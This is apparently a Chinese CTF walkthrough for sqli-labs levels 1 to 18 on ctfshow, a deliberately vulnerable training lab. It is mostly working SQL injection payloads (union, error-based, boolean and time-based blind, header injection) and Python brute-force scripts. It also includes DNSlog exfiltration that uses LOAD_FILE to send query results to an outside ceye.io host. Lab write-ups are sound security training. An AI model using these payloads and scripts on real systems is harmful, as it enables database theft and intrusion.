当前位置:   article > 正文

【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关

sqlilabs靶场1–65过关

Sqli-labs 01关 (web517)

输入?id=1 正常
输入?id=1'  报错 ' .0 ' 
输入?id=1'--+ 正常

判断是字符型注入,闭合方式是'
  • 1
  • 2
  • 3
  • 4
  • 5

这里插一句。limit 100,1是从第100条数据开始,读取1条数据。limit 6是读取前6条数据。

?id=1' order by 3--+   正常

判断回显位有三个。
  • 1
  • 2
  • 3
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
  • 1
  • 2
  • 3
  • 4
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flag
  • 1
  • 2
  • 3
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆出列是id,flag
  • 1
  • 2
  • 3
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+
  • 1

image-20230419132615081

Sqli-labs 02关 (web518)

?id=1  正常
?id=1"  报错 ' " LIMIT 0,1 '
?id=1--+  正常

判断是数字型注入
  • 1
  • 2
  • 3
  • 4
  • 5
?id=1 order by 3--+   正常

判断回显位有三个。
  • 1
  • 2
  • 3
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
  • 1
  • 2
  • 3
  • 4
?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagaa
  • 1
  • 2
  • 3
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaa'--+

爆出列是id,flagac
  • 1
  • 2
  • 3
?id=1 and 1=2 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+
  • 1

image-20230419133659637

Sqli-labs 03关 (web519)

?id=1  正常
?id=1"  正常
?id=2"  正常
?id=1"--+  正常
?id=;/';[]'    报错 ' ;/';[]'') LIMIT 0,1 '
           
判断是字符型注入,闭合方式是')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
?id=1') order by 3--+   正常

判断回显位有三个。
  • 1
  • 2
  • 3
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
  • 1
  • 2
  • 3
  • 4
?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagaanec
  • 1
  • 2
  • 3
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaanec'--+

爆出列是id,flagaca
  • 1
  • 2
  • 3
?id=1') and 1=2 union select 1,2,group_concat(flagaca) from ctfshow.flagaanec--+
  • 1

image-20230419140229318

Sqli-labs 04关 (web520)

?id=1  正常
?id=2-1  回显和id=2一样,不是数字型
?id=1'  正常
?id=1"   报错'"1"") LIMIT 0,1' 
           
判断是字符型注入,闭合方式是")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
?id=1") order by 3--+   正常

判断回显位有三个。
  • 1
  • 2
  • 3
?id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
  • 1
  • 2
  • 3
  • 4
?id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagsf
  • 1
  • 2
  • 3
?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagsf'--+

爆出列是id,flag23
  • 1
  • 2
  • 3
?id=1") and 1=2 union select 1,2,group_concat(flag23) from ctfshow.flagsf--+
  • 1

image-20230419142402444

Sqli-labs 05关 (web521)

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型,'闭合。
  • 1
  • 2
  • 3
  • 4
  • 5
?id=1'order by 3--+    //页面显示正常
  • 1

报错注入

爆数据库名:
?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+ 

//ctfshow、********
  • 1
  • 2
  • 3
  • 4
分解一下我的payload

?id=1' and updatexml(//报错注入函数
	1,substring(           //第一个回显位    //字符串截取函数
		concat( //一起抓
			0x7e,(                //两个小尾巴 ~
				select group_concat(schema_name) from information_schema.schemata     //核心选择语句
			),0x7e                //两个小尾巴 ~
		),0,99             //从0开始截取99个字符(虽然他最多只能返回30个左右)
	),3                 /第三个回显位 
) --+ 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
爆数据库表名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctfshow") ,0x7e),3)--+

//flagpuck
  • 1
  • 2
  • 3
  • 4
爆字段名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flagpuck") ,0x7e),3)--+

//id,flag33
  • 1
  • 2
  • 3
  • 4
爆数据值:
?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+               //ctfshow{f57273b3-1c84-489
?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+               //4-489b-a51a-6e8e1ea28ba3}
  • 1
  • 2
  • 3

image-20230421204144630

绕过字符串返回长度限制。

1、left(201809,4)截取左边的4个字符
SELECT LEFT(201809,4)    //结果:2018

2、right(name,2)截取右边的2个字符
SELECT RIGHT(201809,2)    //结果:09

3、SUBSTRING(name,5,3) 截取name这个字段 从第五个字符开始 只截取之后的3个字符
SELECT SUBSTRING('成都融资事业部',5,3)   //结果:事业部

4、SUBSTRING(name,3) 截取name这个字段 从第三个字符开始,之后的所有个字符
SELECT SUBSTRING('成都融资事业部',3)   //结果:融资事业部

5、SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
SELECT SUBSTRING('成都融资事业部',-4)   //结果:资事业部

6、SUBSTRING(name, -4,2) 截取name这个字段的第 4 个字符位置(倒数)开始取,只截取之后的2个字符
SELECT SUBSTRING('成都融资事业部',-4,2)   //结果:资事
注意:我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。

7、substring_index('www.baidu.com', '.', 2) 截取第二个 '.' 之前的所有字符
SELECT substring_index('www.baidu.com', '.', 2)   //结果:www.baidu

8、substring_index('www.baidu.com', '.', -2) 截取第二个 '.' (倒数)之后的所有字符
SELECT substring_index('www.baidu.com', '.', -2)   //结果:baidu.com

9、SUBSTR(name, 1, CHAR_LENGTH(name)-3) 截取name字段,取除name字段后三位的所有字符
SELECT SUBSTR('成都融资事业部', 1, CHAR_LENGTH('成都融资事业部')-3)            //结果:成都融资

10、mid(str,start,[length])
str:截取的字符串   start:起始位置   length:截取的长度,可以忽略

//未来的徒弟们,虽然我一直都是帮你们搜齐了信息,但是具备自己的信息搜集能力还是非常的重要滴。未来的路还很长,师傅陪不了你们多久唉~
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

盲注

布尔和时间都可以的。

image-20230421231855123

image-20230421231652282

Sqli-labs 06关 (web522)

闭合换成了=="==。其他和上题一样。

ctfshow–>flagpa–>flag3a3–>

image-20230421232559152

Sqli-labs 07关 (web523)

?id=1                  You are in.... Use outfile......提示用文件
?id=1'''''             回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+              回显You have an error in your SQL syntax
...
...
...
?id=1'))--+            You are in.... Use outfile......  

说明是字符型注入闭合是   '))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

测一下回显位

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。
  • 1
  • 2
  • 3

布尔盲注还是能用。不过这次我们换个方法。

它提示Use outfile......

一、DNSlog外带注入

sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)_第2关:联合查询注入之字符串注入答案_源十三的博客-CSDN博客

DNSlog注入踩坑记录: - 知乎 (zhihu.com)

DNSlog注入详细解析 - FreeBuf网络安全行业门户

DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)

DNSlog注入踩坑记录: - 知乎 (zhihu.com)

DNSlog注入_dnslog dvwa_super 硕的博客-CSDN博客

DNSlog外带注入

需要条件:

  1. MySQL 开启 load_file ()
  2. DNSLog 平台 (HyugaCEYE
  3. Windows 平台

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下很可能导致IP被ban。

我们可以利用内置函数load_file()来完成DNSlog。load_file()不仅能加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。

示例:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(payload)),'.DNSlog获取的网址\\abc'));

条件:
1、SQL盲注、无回显的命令执行、无回显的SSRF
2、只能用于windows系统
3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)

注意:
1、每次最多取63字节
2、DNSlog网址前的 . 必不可少

补充:

load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。

其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式

\\192.168.31.53\test\
  • 1

CONCAT() 函数拼接了 4 个 \ 了,因为转义的原因,4 个就变 \ 成了 2 个 \,目的就是利用 UNC 路径。

因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。


首先准备好DNSlog外带平台。

image-20230717152547493

ctfshow:payload:暂无,一个都没试验出来。

猜测是这里ctfshow把环境部署到了Linux下,DNSlog注入,windows才能用。

那就用本地部署的环境吧:

先去phpstudy的MySQL目录下修改配置文件my.ini。记得重启

secure_file_priv=""就是可以load_flie任意磁盘的文件。

image-20230718170133551

原理就是’\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。\\\\转义后就是\\

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。

payload:

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.m8rwsy.ceye.io\\abc')),2,3--+
  • 1

image-20230718171255930

可以看到当前数据库名称的十六进制是7365637572697479。解码一下是security,DNSlog注入复现成功!

image-20230718171503023

原理验证:

在物理机文件夹下访问网络资源,进行实验,实验编号为1。

\\SHIYAN1.m8rwsy.ceye.io\abc
  • 1

Windows提示无法访问。

但是CEYE网站上已经有解析记录了。

他甚至帮我把大小写都试了一遍。

image-20230718165107086

二、写入文件

payload:

?id=-1')) or if((select load_file(concat('\\\\',(select database()),'r.m8rwsy.ceye.io\\abc'))),2,3)--+
  • 1

遗憾的是flag在数据库里面,命令执行出不来的。

image-20230717160609335

那就重新进行SQL注入,把得到的结果写入文件中。


爆库: ctfshow

?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt"--+
  • 1

image-20230717164007309


爆表: flagdk (虽然报错了,说我语句有问题,但是还是成功写入文件了)

?id=1')) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/2.txt"--+ 
  • 1

image-20230717164210950


爆列: flag43

?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/3.txt"--+ 
  • 1

image-20230717164701851


获取字段值(flag):ctfshow{fecd6411-08f9-435e-b9b9-71b88ae8cd1f}

?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/4.txt"--+ 
  • 1

image-20230717164844113

Sqli-labs 08关 (web524)

?id=1                  You are in.... 
?id=1'''''             无回显,看不见报错
?id=1'--+              无回显,看不见报错
...
...
...
?id=1"--+              You are in....,双引号闭合

说明是字符型注入闭合是  "
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

测一下回显位

?id=1" order by 1--+   回显正常  You are in....
?id=1" order by 2--+   回显正常  You are in....
?id=1" order by 3--+   回显正常  You are in....

判断不了回显位,后来盲注脚本用的时候也不需要。
  • 1
  • 2
  • 3
  • 4
  • 5

其实第八关和第五关一样。只不过第八关没有报错信息,但是有you are in…进行参照,可以盲注。也可以和第七关一样DNSlog外带、写入文件。

库:ctfshow

表:flagjugg

列:flag423

flag:ctfshow{29601c89-0291-4efd-af8a-15918e766d17}

image-20230717170952602

Sqli-labs 09关 (web525)

?id=1                  You are in.... 
?id=1'''''             You are in.... 
?id=1""""))))          You are in.... 
?id=1'--+              You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)

判断不了闭合和位数
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。以下是源十三大师傅的总结:

             基于时间的注入(延时注入)(Time-based blind SQl injection)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:	SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

还是先判断回显位。

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数
  • 1
  • 2
  • 3
  • 4
  • 5

直接上时间盲注的脚本:

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

库:ctfshow

表:flagug

列:flag4a23

字段(flag):ctfshow{cda8c580-9263-4ddf-8288-6e747eec7994}

image-20230717173517759

Sqli-labs 10关 (web526)

和第九关一样都是时间盲注,唯一不同的是闭合是双引号"

库:ctfshow

表:flagugs

列:flag43s

字段(flag):ctfshow{abac3313-fd0d-4402-a42c-43770ac32739}

image-20230717210726542

Sqli-labs 11关 (web527)

这下变成POST注入了,还是双参数。

image-20230717210838961

抓个包看看先:

image-20230717210917872

注入点应该是admin。

查看一下本地环境中,这题的源码。

image-20230717211051321

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
  • 1

闭合是单引号'。位数是2.


爆库: ctfshow

uname=xxx' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
  • 1

image-20230717211327060


爆表: flagugsd

uname=xxx' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit
  • 1

image-20230717211428890


爆列: flag43s

uname=xxx' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'--+&passwd=123456&submit=Submit
  • 1

image-20230717211538490


获取字段值(flag):

ctfshow{d7bf0480-8156-479b-9f97-4fbeb89233db}

uname=xxx' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit
  • 1

image-20230717211709373

Sqli-labs 12关 (web528)

同第十一关(web527)

uname=1' --+             回显图片,内容是登录失败
uname=1" --+             语法错误报错,报错无有用信息
uname=1') --+            回显图片,内容是登录失败
uname=1") --+            回显图片,内容是登录失败
uname=1"()))))) --+      报错,near '()))))) -- ") and password=("123456") LIMIT 0,1' at line 1

从报错的password可以看出来,闭合是")  。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

测一下回显位

uname=1") order by 3--+   报错Unknown column '3' in 'order clause'

uname=1") order by 2--+   不报错
uname=1") order by 1--+   不报错

uname=1") order by 4--+   报错Unknown column '3' in 'order clause'

uname=1") order by 0--+   报错Unknown column '3' in 'order clause'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

测不出回显位,估计是2。


爆库: ctfshow

uname=xxx") and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
  • 1

image-20230718100934743


爆表: flagugsds

uname=xxx") and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit
  • 1

image-20230718101001208


爆列: flag43as

uname=xxx") and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsds'--+&passwd=123456&submit=Submit
  • 1

image-20230718101013518


获取字段值(flag):

ctfshow{53259b6d-6d52-431a-9fef-a3add2393bb8}

uname=xxx") and 1=2 union select 1,group_concat(flag43as) from ctfshow.flagugsds--+&passwd=123456&submit=Submit
  • 1

image-20230718101039538

Sqli-labs 13关 (web529)

还是和之前一样的界面

image-20230718101426249

闭合和位数就不测了。闭合是')',位数是2。有报错信息,那我们就来巩固一下报错注入吧。


爆库: ctfshow

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit
  • 1

image-20230718110824011


爆表:flag

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'))))--+&passwd=123456&submit=Submit
  • 1

image-20230718111104517


爆列:flag4

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'))))--+&passwd=123456&submit=Submit
  • 1

image-20230718111248650


获取字段(flag):ctfshow{9328fa92-cc6b-4bf8-9f1b-b9eb9536a064}

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)))) --+&passwd=123456&submit=Submit
  • 1

ctfshow{9328fa92-cc6b-4bf8-9f1b

image-20230718112011991

倒着读:

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag)))) --+&passwd=123456&submit=Submit
  • 1

image-20230718112001021

脚本逆序后为92-cc6b-4bf8-9f1b-b9eb9536a064}

Sqli-labs 14关 (web530)

先测一下。

uname=admin'--           登录失败图片
uname=admin''''''''--    登录失败图片
uname=admin''''''''"""")))))   登录失败图片
uname=admin"""""""""  报错near '123456" LIMIT 0,1' at line 1
uname=1" or 1=1--           登录成功图片(flag.jpg)


所以闭合是双引号"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

有报错咱可以报错注入,登陆成功于失败返回图片不一样,咱们也可以布尔盲注。

复习一下布尔盲注。直接贴脚本了。

import requests
import time

url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
	"uname" : "",
	"passwd" : "123456",
	"submit" : "Submit"
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		# 跑库名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)

		# 跑表名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)

		# 跑列名
		#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)

		#######################
		#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		html = requests.post(url,data=payload)
		print(payload)
		if "/images/flag.jpg" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

image-20230718120627447

脚本如果能自己写一遍,以及不同题目能熟练的更改脚本数据和盲注语句,个人觉得盲注就差不多了。

Sqli-labs 15关 (web531)

还是一样的界面

image-20230718120857602

测试一下闭合:

1' or 1=1--            登录成功图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录失败图片

所以闭合是单引号 '
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

测试一下回显位

1' order by 1--             登录失败图片
1' order by 2--             登录失败图片
1' order by 3--             登录失败图片
1' order by 4--             登录失败图片

测不了一点。但是应该是2,而且盲注不需要。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

测试过程中发现不会报错,那只能用布尔盲注了。

image-20230718121725436

本地部署的sqlilabs里看一下源码:

image-20230718122039148

Sqli-labs 16关 (web532)

类似第15关(web531)

测试一下闭合:

1' or 1=1--            登录失败图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录成功图片

所以闭合是")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

那就继续盲注,就不用测回显位了。

image-20230718174043641

Sqli-labs 17关 (web533)

页面变成了修改密码。

image-20230718180332974

细细浏览一下本地源码。只看php了。

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value){
	if(!empty($value)){
		// truncation (see comments)
		$value = substr($value,0,15);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc()){
			$value = stripslashes($value);
		}
		// Quote if not a number
		if (!ctype_digit($value)){
			$value = "'" . mysql_real_escape_string($value) . "'";
		}
		else{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity          //查询语句
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);       //应该是上面一句语句的查询结果
$row = mysql_fetch_array($result);     //把查询结果变成一个无序数组
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());          //返回报错信息!!!!!!!!
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	
  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
		echo "</font>";  
	}
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83

可以看到这里进行查询的语句是"SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"
进行更改密码的语句是"UPDATE users SET password = '$passwd' WHERE username='$row1'"

总览代码全文,发现,虽然查询和更新语句我们能对更新语句(看下文)进行注入,但是,查询和更新语句的结果不会回显,说白了就是注了也白注。

但是也可以发现,代码是回给我们返回报错信息的,那我们就可以进行报错注入。

因为代码中$row$row1一定要存在,才能进行更新语句,并且能返回报错。所以用户名一定要存在,使查询语句返回数据(用户名:DUMB),以及我们不能从查询语句注入,只能从更新语句"UPDATE users SET password = '$passwd' WHERE username='$row1'"注入,并且注入点是$passwd

image-20230718195308320

很容易看出闭合是单引号',更新语句注入点前不是select语句,回显位可以不用管。

放一张我思维导图里面对报错注入的归整:

image-20230718194440565

payload我选择用extractvalue()函数


爆库: ctfshow

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+&submit=Submit
  • 1

image-20230718200556008


爆表: flag

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))--+&submit=Submit
  • 1

image-20230718201001701


爆列: flag4

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e))--+&submit=Submit
  • 1

image-20230718201026351


获取字段值(flag):

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))--+&submit=Submit
  • 1

ctfshow{941507ac-76cb-4733-8d0d

image-20230718201146390

倒着读:

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e))--+&submit=Submit
  • 1

}76f4a1ec66a1-d0d8-3374-bc67-ca,逆序一下是ac-76cb-4733-8d0d-1a66ce1a4f67}

image-20230718201250922


flag:ctfshow{941507ac-76cb-4733-8d0d-1a66ce1a4f67}

Sqli-labs 18关 (web534)

可以很明显的看到,多了一行IP地址。

image-20230718203222773

账号密码都为DUMB时,登录成功,返回了U-A头,说明题目可能存在U-A头注入。

image-20230718204252154

之后就是和之前一样用报错注入了。


爆库: ctfshow

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

image-20230718204823856

【注意】这里的闭合是单引号,但是闭合方式不能在最后加个--空格或者--+或者#,只能利用好闭合的单引号,在最后加一个'1'='1


爆表: flag

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
